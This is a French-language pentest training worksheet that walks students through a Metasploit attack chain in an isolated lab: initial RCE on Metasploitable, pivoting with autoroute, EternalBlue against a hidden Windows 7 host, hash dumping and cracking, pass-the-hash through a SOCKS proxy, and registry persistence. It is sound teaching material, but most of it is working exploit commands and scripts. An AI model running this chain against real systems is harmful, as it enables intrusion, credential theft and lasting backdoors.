Aller au contenu principal

Metasploit — Atelier pratique

Vous reproduisez la démonstration, seul(e). Trois cibles, un pivot, une session SYSTEM sur une machine que Kali ne voyait pas. C'est le TP2 de la formation — livrable pour la fin de la semaine 8.

Compter : 3 h à 4 h.

Livrable : ~/labs/semaine-08/rapport/pivot.md + tous les artefacts dans ~/labs/semaine-08/preuves/ + un .rc reproductible.

Lab isolé

Un lab avec deux sous-réseaux host-only isolés. Aucune commande ne quitte votre PC.


Prérequis

Trois VM :

  • Kali : 10.10.10.5 (adapter unique sur hostonly1).
  • Metasploitable 2 : 10.10.10.20 sur hostonly1 + 192.168.100.20 sur hostonly2. Forwarding IP activé.
  • Windows 7 vulnérable ou Metasploitable 3 Windows : 192.168.100.42 sur hostonly2 uniquement.

Vérification avant de commencer :

# Depuis Kali
ping -c 2 10.10.10.20 # doit répondre
ping -c 2 192.168.100.42 # doit ÉCHOUER (network unreachable)

Si 192.168.100.42 répond depuis Kali, votre lab n'est pas assez segmenté. Corrigez.


Étape 1 — RCE initiale sur 10.10.10.20 (20 min)

Choisissez une RCE parmi celles identifiées en semaine 5. Ne prenez pas vsftpd (déjà fait en démo). Suggestions :

  • Samba usermap script (exploit/multi/samba/usermap_script).
  • distccd (exploit/unix/misc/distcc_exec).
  • UnrealIRCd (exploit/unix/irc/unreal_ircd_3281_backdoor).

Créez atelier-1-rce.rc :

workspace atelier-s08
use exploit/<choix>
set RHOSTS 10.10.10.20
set PAYLOAD <choix cohérent : cmd/unix/reverse_bash ou linux/x64/meterpreter/reverse_tcp>
set LHOST 10.10.10.5
set LPORT 4444
run

Lancez :

msfconsole -q -r atelier-1-rce.rc

Objectif : Session 1 opened. Vérifiez sysinfo et getuid.

Sauvegardez la sortie complète dans preuves/01-rce-initiale.log.


Étape 2 — Upgrade en Meterpreter si nécessaire (10 min)

Si votre session initiale est cmd/unix ou shell, upgradez :

sessions -u <id>

Attendez le message Meterpreter session <n> opened.

Alternative manuelle :

sessions -i 1
python -c 'import pty; pty.spawn("/bin/bash")'
# ou pour un vrai meterpreter :
background
use post/multi/manage/shell_to_meterpreter
set SESSION 1
run

Sauvegardez dans preuves/02-upgrade.log.


Étape 3 — Ouvrir le pivot (10 min)

use post/multi/manage/autoroute
set SESSION <id-de-la-meterpreter-linux>
set SUBNET 192.168.100.0
run

route print

Vérification :

route print

Doit afficher :

   Subnet             Netmask            Gateway
192.168.100.0 255.255.255.0 Session <id>

Sauvegardez la sortie dans preuves/03-autoroute.log.


Étape 4 — Scanner le réseau interne (15 min)

use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.100.0/24
set PORTS 22,80,135,139,445,3389,8080
set THREADS 20
run

Retrouvez 192.168.100.42 avec ses ports. Confirmez la vulnérabilité :

use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.100.42
run

Ligne clé attendue : Host is likely VULNERABLE to MS17-010.

Sauvegardez dans preuves/04-scan-interne.log.


Étape 5 — Exploiter la cible cachée (30 min)

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.100.42
set PAYLOAD windows/x64/meterpreter/bind_tcp
set LPORT 4455
run

Attention au payload : bind_tcp, pas reverse_tcp. La cible cachée ne peut pas joindre votre Kali.

Objectif : Meterpreter session <n> opened avec getuid = NT AUTHORITY\SYSTEM.

Sauvegardez :

sessions -i <n>
getuid
sysinfo
ipconfig

Trace complète dans preuves/05-exploitation-cachee.log.

Si ça échoue :

  • Revenez au scan MS17-010, retentez le check.
  • Vérifiez le firewall Windows sur la cible. Sur Windows 7 vulnérable, souvent bloqué. netsh advfirewall set allprofiles state off depuis un accès physique, avant de commencer.
  • Si Exploit aborted due to failure: no-target, revert la VM à un snapshot vulnérable.

Étape 6 — Extraction (20 min)

Dans la session Meterpreter Windows :

hashdump > /home/kali/labs/semaine-08/preuves/win-hashes.txt

Cassage :

hashcat -m 1000 preuves/win-hashes.txt /usr/share/wordlists/rockyou.txt --username \
-o preuves/hashcat-results.txt

Objectif : au moins un mot de passe cassé.

Bonus — capture d'écran :

screenshot -p /home/kali/labs/semaine-08/preuves/win-screenshot.jpeg

Étape 7 — SOCKS proxy et outil externe (20 min)

Ouvrez le proxy :

use auxiliary/server/socks_proxy
set VERSION 5
set SRVPORT 1080
run -j

Configurez /etc/proxychains4.conf :

socks5  127.0.0.1 1080

Testez :

proxychains nxc smb 192.168.100.42 -u Administrator -H <hash-cracké-ou-plaintext>

Objectif : la ligne [+] WORKGROUP\Administrator (Pwn3d!).

Sauvegardez :

  • La sortie de nxc dans preuves/07-nxc-proxychains.log.

Étape 8 — Script .rc complet (30 min)

Consolidez tout dans atelier-complet.rc. Note : les étapes qui exigent une interaction (upgrade de session, choix de session interactive) restent manuelles ; scriptez ce qui l'est.

workspace atelier-s08

# --- Phase 1 : RCE initiale ---
use exploit/<votre-choix>
set RHOSTS 10.10.10.20
set PAYLOAD <votre-payload>
set LHOST 10.10.10.5
set LPORT 4444
run

# --- ATTENDRE session 1, puis à la main : sessions -u 1 ---
# --- Puis relancer msfconsole avec atelier-pivot.rc ---

atelier-pivot.rc :

workspace atelier-s08
route add 192.168.100.0/24 <id-meterpreter-linux>

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.100.42
set PAYLOAD windows/x64/meterpreter/bind_tcp
set LPORT 4455
run

use auxiliary/server/socks_proxy
set SRVPORT 1080
run -j

route print
sessions

Étape 9 — Le rapport (30 min)

~/labs/semaine-08/rapport/pivot.md — 2 pages, structure fixe :

# Pentest interne avec pivot — Semaine 8

## 1. Résumé exécutif (5 lignes)

## 2. Cadre technique
- Cibles, IPs, réseaux
- Outils utilisés

## 3. Chaîne d'exploitation (numérotée, courte)
1. ...
2. ...
3. ...
7. ...

## 4. Preuves
- Liste des fichiers dans preuves/

## 5. Impact
Une phrase forte : "Compromission complète des deux machines, avec le compte
NT AUTHORITY\SYSTEM sur la cible interne inaccessible depuis Internet.
Mot de passe administrateur cracké en X secondes."

## 6. Recommandations (3-5)
1. Patch immédiat des systèmes end-of-life.
2. Segmentation stricte : le sous-réseau interne ne devrait pas avoir de
passerelle vers un serveur exposé.
3. SMBv1 désactivé partout.
4. Rotation des mots de passe faibles.
5. Détection : surveiller autoroute-like patterns dans les EDR.

## 7. Annexes
- atelier-complet.rc
- atelier-pivot.rc

Grille d'auto-évaluation

  • Trois VM montées, deux sous-réseaux isolés, Kali ne voit pas la cible interne.
  • Session initiale sur 10.10.10.20 obtenue avec Metasploit (pas vsftpd).
  • Meterpreter Linux obtenue (via upgrade ou directement).
  • Autoroute ajoutée pour 192.168.100.0/24.
  • Scan interne effectué depuis msfconsole, cible détectée.
  • MS17-010 confirmé.
  • Meterpreter Windows SYSTEM obtenue via bind_tcp (pas reverse_tcp).
  • Hashdump récupéré et cassé (au moins un mot de passe).
  • SOCKS proxy ouvert, nxc testé à travers proxychains.
  • .rc scripts sauvegardés et testés.
  • Rapport de 2 pages structuré selon le modèle.

Extension optionnelle — Persistance

Attention : en pentest client, la persistance est très cadrée par le RoE. En lab, faites-le pour comprendre.

Sur la session Meterpreter Windows :

run persistence -X -i 30 -p 4455 -r 10.10.10.5

Vous ajoutez une clé de registre qui relance le payload à chaque démarrage. En pentest réel : cette commande crée un backdoor — elle doit être documentée dans le rapport et supprimée avant la fin de la mission. Un pentester qui oublie un backdoor est un pentester qu'on n'engage plus.

Pour supprimer :

resource /root/.msf4/logs/persistence/WIN7-VICTIM_20260420.rc
# Suivre les instructions pour effacer la clé de registre.

Ce qui bloque en général

SymptômeCauseCorrection
Exploit aborted due to failure: no-targetCible pas vulnérable ou déjà exploitéeSnapshot revert.
route add : Route already existsRoute conservée d'un run précédentroute flush.
Meterpreter died sur la LinuxAntivirus Metasploitable ? Non, mais protocole TCP peu fiableRecréez la session, essayez payload non-stagé.
bind_tcp ne se connecte pasFirewall Windows 7 bloqueDésactiver Defender + Firewall dans la VM.
nxc via proxychains rend errno 111Proxy pas lancéroute print et sessions pour vérifier.
Hashcat n'a rien trouvéMot de passe trop fortNormal. Documentez comme échec.

Ce que vous emportez de cet atelier

  • La compréhension physique d'un pivot : ce que Kali voit vs ce que la cible compromise voit.
  • Un workflow bout-en-bout reproductible.
  • Un .rc scripté qui rejoue la chaîne.
  • Un rapport de pentest interne en format 2 pages.
  • La capacité de reproduire ces attaques en présentation à un client.